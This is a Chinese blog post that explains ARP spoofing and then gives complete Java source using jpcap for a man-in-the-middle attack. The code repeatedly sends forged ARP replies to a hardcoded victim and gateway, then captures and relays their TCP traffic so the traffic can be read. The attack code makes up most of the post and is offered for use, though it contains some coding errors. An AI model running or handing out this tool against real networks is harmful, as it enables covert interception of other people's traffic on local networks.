arp欺骗

  arp是什么?中文名: 地址解析协议。我们知道在局域网中网络数据包得发送不是根据ip进行传输,而是根据mac地址。当某一个主机A准备发送一个数据包时,首先他会发送一个广播,告诉周围的计算机我将要发送一个ip是**.**.**.**的数据包,如果哪一台主机的网卡是这个ip地址,请立即告诉我你的mac地址。这个询问的过程就是一个arp请求,而回答这个请求的主机发出去的数据包就是一个arp应答。
  如果我们每当要发送一个数据包时都进行arp请求会显得很麻烦,因此arp协议的设计者们便利用一个arp缓存来存储最近一段时间的ip-mac对。你在cmd命令框中输入arp -a就可以看到本机的arp缓存信息。
    另外arp协议规定,接受arp应答数据包一直是允许。即使某一台主机没有发送arp请求,它仍然会接受arp应答并处理他。
  这是由于这两点使得arp欺骗有了可乘之机。
  arp欺骗者不断的发送给被攻击的主机一个arp应答,于是被攻击的主机的arp缓存中便一直保留着错误的ip mac对,比如,攻击者发送一个arp应答给被攻击的主机,说,ip是gateIp的主机的mac地址是myMac。于是被攻击的主机便将gateIp ,myMac这一对ip-mac对存储到arp缓存里。当被攻击的主机下次发送数据给gateIp时,找到对应的mac地址,其实这个地址是攻击者的mac(myMac)地址,于是被攻击的主机便将数据包发送给了攻击者。如果此时攻击者再将数据包发送给网关,此时,被攻击者并不能感觉到任何异常,但其实它的数据已经被攻击者窃听到了。
     
      示意图:         arp欺骗
               

          arp欺骗


          java代码://需要下载jpcap包,本例中不仅欺骗被攻击者,同时也欺骗网关。过程同欺骗被攻击者。
arpCheat.java
package arp;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.*;
import jpcap.packet.*;
public class arpCheat {
jpcap.JpcapSender sender;
jpcap.JpcapSender sender1;
jpcap.JpcapSender sender2;
NetworkInterface[] devices;
jpcap.NetworkInterface device ;
arpCheat()
{
devices = JpcapCaptor.getDeviceList();
device = devices[0];
try{
sender = JpcapSender.openDevice(device);
sender1 = JpcapSender.openDevice(device);
sender2 = JpcapSender.openDevice(device);
}catch(IOException e){e.printStackTrace();}
}
      public ARPPacket arpPackage(ipMacMap cheatLocalIpMac,ipMacMap desIpMac)//假的ipmac对
      {
    ARPPacket arpPackage = new ARPPacket();
    arpPackage.hardtype = ARPPacket.HARDTYPE_ETHER;
    arpPackage.prototype = ARPPacket.PROTOTYPE_IP;
    arpPackage.operation = ARPPacket.ARP_REPLY;
    arpPackage.hlen = 6;
    arpPackage.plen = 4;
    arpPackage.sender_hardaddr = cheatLocalIpMac.getMac();
    arpPackage.target_hardaddr = desIpMac.getMac();
    try
    {
    arpPackage.sender_protoaddr = InetAddress.getByName(cheatLocalIpMac.getIp()).getAddress();
    arpPackage.target_protoaddr = InetAddress.getByName(desIpMac.getIp()).getAddress();
    }catch(UnknownHostException e){e.printStackTrace();}
    return arpPackage; 
      }
      public EthernetPacket ethPackage(ipMacMap localIpMac,ipMacMap desIpMac)
      {
    EthernetPacket ethPackage = new EthernetPacket();
    ethPackage.frametype = EthernetPacket.ETHERTYPE_ARP;
    ethPackage.dst_mac = desIpMac.getMac();
    ethPackage.src_mac = localIpMac.getMac();
    return ethPackage;
      }
      //run线程
      public void SendArp(final ipMacMap cheatLocalIpMac,final ipMacMap desIpMac)throws Exception
      {  
     
    Thread t = new Thread(new Runnable () {
    public void run()
   
    while(true){ //循环发送,使得被攻击的arp缓存一直是错误的状态  
    try{
    ARPPacket arpPackage = new ARPPacket();
    arpPackage = arpPackage(cheatLocalIpMac,desIpMac);
    Thread.sleep(500);
    arpPackage.datalink = ethPackage(cheatLocalIpMac,desIpMac);            
            sender.sendPacket(arpPackage);
    } catch(InterruptedException e ){e.printStackTrace();}                                            
            //System.out.println("1"+arpPackage.datalink+""+arpPackage);    
    }
    }    
    });
    t.start();
     
      }
      public static void main(String[] args)throws Exception
      {
         
    String desIp = "10.20.213.41";    
    String gateIp = "10.20.213.20";
byte[] gateMac = {(byte)0x3c,(byte)0xe5,(byte)0xa6,(byte)0x14,(byte)0x1d,(byte)0x71};
        byte[] localMac = JpcapCaptor.getDeviceList()[0].mac_address;            
        byte[] desMac =   {(byte)0xD0,(byte)0xDF,(byte)0x9A,(byte)0xAB,(byte)0xCF,(byte)0x29};
    arpCheat send1 = new arpCheat();      
    arpCheat send2 = new arpCheat();
    ipMacMap cheatLocalIpMac = new ipMacMap(gateIp,localMac);
        ipMacMap desIpMac = new ipMacMap(desIp,desMac);
        ipMacMap gateIpMac = new ipMacMap(gateIp,gateMac);
        ipMacMap cheatGateIpMac = new ipMacMap(desIp,localMac);
    send1.SendArp(cheatLocalIpMac,desIpMac);//给被攻击者的arp应答包
    send2.SendArp(cheatGateIpMac,gateIpMac);//给网关的arp应答包
          new receivePacket(gateIp,desIp,gateMac,desMac,localMac);//捕获数据包,并且将数据包转发到正确的地址。
   
      }
}



ipMacMap.java
package arp;

public class ipMacMap {
      String ip = new String();
      byte[] mac = {0};
      public ipMacMap(String i,byte[] m)
      {
      ip = i;
      mac = m;
      }
      public byte[] getMac()
      {
      return mac;
      }
      public String getIp()
      {
      return ip;
      }
       
}

receivePacket.java
package arp;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.*;
import jpcap.packet.*;
public class receivePacket {
String desIp;
String gateIp;
byte[] gateMac;
byte[] desMac;
byte[] localMac;
jpcap.JpcapSender sender;
    receivePacket(String desIp1 ,String gateIp1,byte[] gateMac1,byte[] desMac1,byte[] localMac1)
    {
    this.desIp = desIp1;
    this.gateIp = gateIp1;
    this.gateMac = gateMac1;
    this.desMac = desMac1;
    this.localMac = localMac1;
   
    this.getPacket();
    }
    public void getPacket()
    {
      jpcap.NetworkInterface device =   JpcapCaptor.getDeviceList()[0];
      try{
    sender = JpcapSender.openDevice(device);  
      }catch(IOException e){e.printStackTrace();}
      while(true)
      {    
             
  try{
      JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 2000, false, 100);
      jpcap.setFilter("ip and tcp", true);
      Packet p = jpcap.getPacket();
      if(p != null)
      {
      if(((IPPacket)p).dst_ip.toString().equals("/"+gateIp))//目的地址是网关
      {
      System.out.println(p.datalink+""+p);
      //构造IP包
          EthernetPacket ethPackage = new EthernetPacket();
          ethPackage.frametype = EthernetPacket.ETHERTYPE_ARP;
          ethPackage.dst_mac = gateMac;
          ethPackage.src_mac = desMac;
      p.datalink = ethPackage;
      sender.sendPacket(p);
      }
          else
          if(((IPPacket)p).dst_ip.toString().equals("/"+desIp))//目的是入侵的主机
      {
      System.out.println(p.datalink+""+p);
      //构造IP包
          EthernetPacket ethPackage = new EthernetPacket();
          ethPackage.frametype = EthernetPacket.ETHERTYPE_ARP;
          ethPackage.dst_mac = desMac;
          ethPackage.src_mac = gateMac;
      p.datalink = ethPackage;
      sender.sendPacket(p);
      }
      }
      jpcap.close();
  }catch(IOException e){e.printStackTrace();}
    }
    }
}



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值